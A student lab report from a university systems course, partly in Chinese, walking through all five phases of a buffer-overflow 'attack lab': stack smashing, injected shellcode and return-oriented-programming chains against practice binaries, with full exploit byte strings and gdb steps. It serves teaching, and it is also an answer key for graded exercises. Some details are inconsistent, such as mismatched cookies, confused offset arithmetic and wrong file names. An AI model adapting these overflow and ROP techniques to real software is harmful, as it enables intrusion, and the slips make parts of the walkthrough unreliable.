天津大學

计算机系统基础上机实验报告

实验题目 4：代码注入攻击 attack

学院名称	智能与计算学部
专　　业	工科试验班
学生姓名	张明君
学　　号	6319000359
年　　级	2019 级
班　　级	留学生班
时　　间	2020 年 6 月 21 日

实验 4：代码注入攻击

Attack

1. 实验目的

进一步理解软件脆弱性和代码注入攻击。

2. 实验内容

实验内容包括以下三个任务：详细内容请参考实验指导书：实验 4.pdf

No.	任务内容
1	任务一：在这次任务中，你不需要注入任何代码，只需要利用缓冲区溢出漏洞，实现程序控制流的重定向。
2	任务二：在这次任务中，你需要注入少量代码，利用缓冲区溢出漏洞，实现程序控制流的重定向至 touch2 函 数，并进入 touch2 函数的 validate 分支。
3	任务三：在这次任务中，你需要注入少量代码，利用缓冲区溢出漏洞，实现程序控制流的重定向至 touch3 函 数，并进入 touch3 函数的 validate 分支。

3. 实验要求

1） 在 Unbuntu18.04LTS 操作系统下，按照实验指导说明书，使用 gdb 和 objdump 和代码注入辅助工具，以反向工程方式完成代码攻击实验。

2） 任务一和任务二是必做任务；任务三为选做，有加分。

2）需提交：电子版实验报告全文。

4. 实验结果

Phase 1

Phase 1 is the easiest of the 5. What you are trying to do is overflow the stack with the exploit string and change the return address of getbuf function to the address of touch1 function. You are trying to call the function touch1.

run ctarget executable in gdb and set a breakpoint at getbuf

`b getbuf`

Then disasemble the getbuf function

`disas`
Since the buffer size is a run time constant, we need to look at the disassembled code to figure it out.

```
Dump of assembler code for function getbuf:
=> 0x0000000000401748 <+0>:           sub    $0x18,%rsp
   0x000000000040174c <+4>:           mov    %rsp,%rdi
   0x000000000040174f <+7>:           callq  0x40198a <Gets>
   0x0000000000401754 <+12>:          mov    $0x1,%eax
   0x0000000000401759 <+17>:          add    $0x18,%rsp
   0x000000000040175d <+21>:          retq
End of assembler dump.
```
If you look at `sub $0x18,%rsp`, you can see that 24 (0x18) bytes of buffer is allocated for getbuf.
Now you know the buffer size and you need to input 24 bytes of padding followed by the return address of the touch1 address.

To find the address the touch1, you need to get the dissassembled code for ctarget executable.

```
objdump -d rtarget > rtarget_dump.txt
```

The above command will save the dissasembled code in file rtarget_dump.txt open that file and find the touch1 function.

I found touch1 inside rtarget which looked like

```
0000000000401760 <touch1>:
  401760:       48 83 ec 08             sub    $0x8,%rsp
  401764:       c7 05 0e 31 20 00 01    movl   $0x1,0x20310e(%rip)
# 60487c <vlevel>
  40176b:       00 00 00
  40176e:       bf 78 30 40 00          mov    $0x403078,%edi
  401773:       e8 98 f4 ff ff          callq  400c10 <puts@plt>
  401778:       bf 01 00 00 00          mov    $0x1,%edi
  40177d:       e8 17 05 00 00          callq  401c99 <validate>
  401782:       bf 00 00 00 00          mov    $0x0,%edi
  401787:       e8 24 f6 ff ff          callq  400db0 <exit@plt>
```

So it's address is at `0x401760`
When you write the bytes, you need to consider the byte order. My system is a little-endian so the bytes go in reverse order.Finally create a text file named phase1.txt which will look like below

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* the first 24 bytes are just padding */
60 17 40 00 00 00 00 00 /* address of touch1 */
```

Now you need to take this file and run it through the program hex2raw, which will generate raw exploit strings

`./hex2raw < phase1.txt > raw-phase1.txt`

Finally, you run the raw file

`./ctarget < raw-phase1.txt`

You will get something like below if your solution is right.

```
Cookie: 0x434b4b70 //your cookie will be different
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

Phase 2

Phase 2 involves injecting a small code and calling function touch2 while making it look like you passed the cookie as an argument to touch2

If you look inside the ctarget dump and search for touch2, it looks something like this:

```
000000000040178c <touch2>:
  40178c:       48 83 ec 08             sub    $0x8,%rsp
  401790:       89 fe                   mov    %edi,%esi
  401792:       c7 05 e0 30 20 00 02    movl   $0x2,0x2030e0(%rip)
# 60487c <vlevel>
  401799:       00 00 00
  40179c:       3b 3d e2 30 20 00       cmp    0x2030e2(%rip),%edi
# 604884 <cookie>
  4017a2:       75 1b                   jne    4017bf <touch2+0x33>
  4017a4:       bf a0 30 40 00          mov    $0x4030a0,%edi
  4017a9:       b8 00 00 00 00          mov    $0x0,%eax
  4017ae:       e8 8d f4 ff ff          callq  400c40 <printf@plt>
  4017b3:       bf 02 00 00 00          mov    $0x2,%edi
  4017b8:       e8 dc 04 00 00          callq  401c99 <validate>
  4017bd:       eb 19                   jmp    4017d8 <touch2+0x4c>
  4017bf:       bf c8 30 40 00          mov    $0x4030c8,%edi
  4017c4:       b8 00 00 00 00          mov    $0x0,%eax
  4017c9:       e8 72 f4 ff ff          callq  400c40 <printf@plt>
  4017ce:       bf 02 00 00 00          mov    $0x2,%edi
  4017d3:       e8 73 05 00 00          callq  401d4b <fail>
  4017d8:       bf 00 00 00 00          mov    $0x0,%edi
  4017dd:       e8 ce f5 ff ff          callq  400db0 <exit@plt>
```

If you read the instruction pdf, it says, "Recall that the first argument to a function is passed in register %rdi."

So our goal is to modify the %rdi register and store our cookie in there.

So you have to write some assembly code for that task, create a file called phase2.s and write the below code, replacing the cookie and with yours

```
  movq $0x434b4b70,%rdi /* move your cookie to register %rdi */
  retq                  /* return */
```

Now you need the byte representation of the code you wrote above. compile it with gcc then dissasemble it

```
gcc -c phase2.s
objdump -d phase2.o  > phase2.d
```

Now open the file phase2.d and you will get something like below

```
Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 70 4b 4b 43     mov    $0x434b4b70,%rdi
   c:   c3                       retq
```

The byte representation of the assembly code is `48 c7 c7 70 4b 4b 43 c3`
Now we need to find the address of rsp register

run ctarget through gdb

`gdb ctarget`
set a breakpoint at getbuf

`b getbuf`
run ctarget

`r`
Now do

`disas`
You will get something like below (this doesn't match the above code as it is an updated version)

```
   0x000000000040182c <+0>:         sub    $0x18,%rsp
   0x0000000000401830 <+4>:         mov    %rsp,%rdi
   0x0000000000401833 <+7>:         callq  0x401ab6 <Gets>
=> 0x0000000000401838 <+12>:      mov    $0x1,%eax
   0x000000000040183d <+17>:      add    $0x18,%rsp
   0x0000000000401841 <+21>:      retq
```

Now we need to run the code until the instruction just below `callq 0x401ab6` `<Gets>` so you will do something like
`until *0x401838`
Then it will ask you type a string...type a string longer than the buffer(24 characters in this case). After that do

`x/s $rsp`

You will get something like

```
(gdb) x/s $rsp
0x55620cd8:      "ldsjfsdkfjdslfkjsdlkfjsdlkfjsldkfjsldkjf" // the random
string I typed
```

The address on the left side is what we want. `0x55620cd8`
Now, create a text file named phase2.txt which will look something like below and don't forget the bytes for rsp and touch2 go in reverse

```
48 c7 c7 70 4b 4b 43 c3 /*this sets your cookie*/
00 00 00 00 00 00 00 00 /*padding to make it 24 bytes*/
00 00 00 00 00 00 00 00 /*padding to make it 24 bytes*/
d8 0c 62 55 00 00 00 00 /* address of register %rsp */
8c 17 40 00 00 00 00 00 /*address of touch2 function */
```

Run it through hex2raw

```
./hex2raw < phase2.txt > raw-phase2.txt
```

Finally, you run the raw file

```
./ctarget < raw-phase2.txt
```

What the exploit does is that first it sets register rdi to our cookie value is transferred to $rsp register so after we enter our string and getbuf tries to return control to the calling function, we want it to point to the rsp address so it will execute the code to set the cookie and finally we call touch2 after the cookie is set.

Now you will get something like below:

```
Cookie: 0x434b4b70
Type string:Touch2!: You called touch2(0x434b4b70)
Valid solution for level 2 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

Phase 3

Phase 3 is kinda similar to phase to except that we are trying to call the function touch3 and have to pass our cookie to it as string

In the instruction it tells you that if you store the cookie in the buffer allocated for getbuf, the functions hexmatch and strncmp may overwrite it as they will be pushing data on to the stack, so you have to be careful where you store it.

We will be storing the cookie after touch3.

So let's pass the address for the cookie to register $rdi

The total bytes before the cookie are `buffer + 8 bytes for return address of rsp + 8 bytes for touch3` `0x18 + 8 + 8 = 28` (40 Decimal)
Grab the address for rsp from phase 2: `0x55620cd8` Add 0x28 `0x55620cd8 + 0x28 = 0x55620D00` Now you need this assembly code, same steps generating the byte representation

```
    movq $0x55620D00,%rdi /* %rsp + 0x18 */
    retq
```

The byte representation is as follows:

```
Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 00 0d 62 55     mov    $0x55620d00,%rdi
   7:   c3                       retq
```

Now, grab the bytes from the above code and start constructing your exploit string. Create a new file named phase3.txt and here is what mine looks like:

```
48 c7 c7 00 0d 62 55 c3 /*rsp + 28 the address where the cookie is present*/
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /*padding*/
d8 0c 62 55 00 00 00 00 /* return address ($rsp)*/
7f 19 40 00 00 00 00 00 /* touch3 address -- get this from the rtarget dump file
*/
34 33 34 62 34 62 37 30 /* cookie string*/
```

If you look at the last row above, the cookie is in hex format, so you need to take your cookie and convert in to text format. Then you could look up ascii equivalent on your machine.

Last step is to generate the raw eploit string using the hex2raw program.

```
./hex2raw < phase3.txt > raw-phase3.txt
```

Finally, you run the raw file

```
./ctarget < raw-phase3.txt
```

Response looks like below

```
Cookie: 0x434b4b70
Type string:Touch3!: You called touch3("434b4b70")
Valid solution for level 3 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

Phase 4

Phase 4 is different from the previous 3 because on this target, we can't execute code for the following two reasons:

1. Stack randomization -- you can't simply point your injected code to a fixed address on the stack and run your explit code
2. Non-executeble memory block. This feature prevents you from executing instructions on the machine because the memory block is marked as non-executable.

The solution for this is to use ROP (Return Oriented Programming), what ROP does is that since we can't execute our own code, we will look for instructions in the code that do the same thing as what we want. These are called gadgets and by combining these gadgets, we will be able to perform our exploit.

For this phase, we will be using the program rtarget instead of ctarget

This phase is the same as phase 2 except you are using different exploit method to call touch2 and pass your cookie.

In the pdf it tells you to find the instructions from the table and one of the instructions you will use involve popping rdi register off the stack,

`popq %rdi` is given in the the pdf and it's byte representation is `5f`, since we don't have 5f byte in the dump file, we will look for a substitute which is `popq %rax% with byte representation of `58`
In your disassembled code, (objdump -d rtarget > rtarget_dump.txt), there are a lot of functions and the ones you can pick your instructions are located between start_farm and end_farm something like that. Now, search for 58 between those.

```
00000000004018ee <getval_336>:
4018ee:  b8 1b f3 8c 58           mov    $0x588cf31b,%eax
4018f3:  c3                       retq
```
I found the above in the disassembled code and there might be more than one but you want the function where 58 is present on the outer right end.

The other instruction you need is: `movq %rax %edi` and it's byte representation is `48 89 c7 c3` which is referenced in the pdf. Go back to your disassembled code and search for that byte code.

I found:

```
0000000000401907 <setval_131>:
401907:  c7 07 48 89 c7 c3        movl   $0xc3c78948,(%rdi)
40190d:  c3                       retq
```
Now you have 2 gadgets and can exploit the rtarget program.

The exploit we are doing is:

```
popq %rax
movq %rax %edi
ret
```
The next step is constructing your string, the format is padding for the buffer size, gadget 1 address, your cookie, gadget 2 address, return address and finally touch2 address.

Becareful with the address of the gadgets, it starts at the byte code we are looking for not at the address where the function starts.

What I mean is that, look at the first gadget:

```
00000000004018ee <getval_336>:
4018ee:  b8 1b f3 8c 58           mov    $0x588cf31b,%eax
4018f3:  c3                       retq
```

The address of the function starts at `4018ee` but 58 is present on the 5th byte, so we need to add 4 bytes to the address. We just want the bytes starting at that address.

`4018ee + 4 = 4018f2`

Same thing with the second gadget: address starts at `401907` but `48 89 c7 c3` starts on the 3rd byte, so add 2 bytes to the address.

```
0000000000401907 <setval_131>:
401907:  c7 07 48 89 c7 c3        movl   $0xc3c78948,(%rdi)
40190d:  c3                       retq
```

`401907 + 2 = 401909`

Now put everything together in a file named phase4.txt and here is my version:

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* first 24(buffer size) bytes here are just padding
*/
f2 18 40 00 00 00 00 00 /* gadget 1: popq %rax address starts at last byte */
70 4b 4b 43 00 00 00 00 /* cookie */
09 19 40 00 00 00 00 00 /* gadget 2: move %rax to %rdi */
8c 17 40 00 00 00 00 00 /* touch2 address
```

Last step is to generate the raw eploit string using the hex2raw program.

`./hex2raw < phase4.txt > raw-phase4.txt`

Finally, you run the raw file (remember you are running it on rtarget, not ctarget)

`./rtarget < raw-phase4.txt`

You should get something like below:

```
Type string:Touch2!: You called touch2(0x434b4b70)
Valid solution for level 2 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

Phase 5

Phase 5 is similar to 4 and you have to use ROP exploit in order to solve it but the points awarded for this specific phase

1.Allow function start_ Farm and end_ farm between the gatget.
2.You can use movq, popq, ret, nop, movl instructions, and 2-byte instructions.
3.Only the first eight x86-64 registers can be used.
4.At least eight gadgets are needed to implement this attack.

Consistent with level 3, set the value of register% rdi to the pointer of cookie string, which is the address where cookie string is stored.

In the above found gadgets that meet the conditions, you can find the instructions that can implement the attack.

First, copy the top of stack pointer value stored in% rsp to% rdi, then set the value of% eax as the offset of cookie string address in the stack and copy it to% esi, and finally add the two to be the storage address of cookie string

```
mov   %rsp,%rax
ret
mov   %rax,%rdi
ret
popq  %rax
ret
movl  %eax,%edx
ret
movl  %edx,%ecx
ret
movl  %ecx,%esi
ret
lea   (%rdi,%rsi,1),%rax
ret
mov   %rax,%rdi
ret
```

When the instruction points to the RET instruction line, it means that a function has ended. At this time, the% rsp has pointed to the return address of the call function from the stack of the called function.

So when the first instruction is executed,% rsp points to the top of the current stack, that is, the address where the next instruction is stored, and the value of% rsp will not change after the subsequent instructions are executed.

After the first instruction, i.e. from the second instruction, there are nine instructions before the cookie string, occupying 72 bytes, i.e. 0x48 bytes, which is the offset of the address of the cookie string in the stack.

So the attack string grows like this:

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
b7 1a 40 00 00 00 00 00
41 1a 40 00 00 00 00 00  //gadget2
2d 1a 40 00 00 00 00 00  //gadget3
48 00 00 00 00 00 00 00  //cookie
53 1a 40 00 00 00 00 00  //gadget4
a9 1a 40 00 00 00 00 00  //gadget5
ca 1a 40 00 00 00 00 00  //gadget6
4c 1a 40 00 00 00 00 00  //gadget7
41 1a 40 00 00 00 00 00  //gadget8
75 19 40 00 00 00 00 00  //touch3
37 33 66 62 31 36 30 30  //cookie
```

Last step is to generate the raw eploit string using the hex2raw program.

```
./hex2raw < phase4.txt > raw-phase5.txt
```

Finally, you run the raw file (remember you are running it on rtarget, not ctarget)

```
./rtarget < raw-phase5.txt
```

You should get something like below:

```
Cookies:0x73fb1600
Type string:Touch3!: You called touch3("73fb1600")
Valid solution for level 3 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```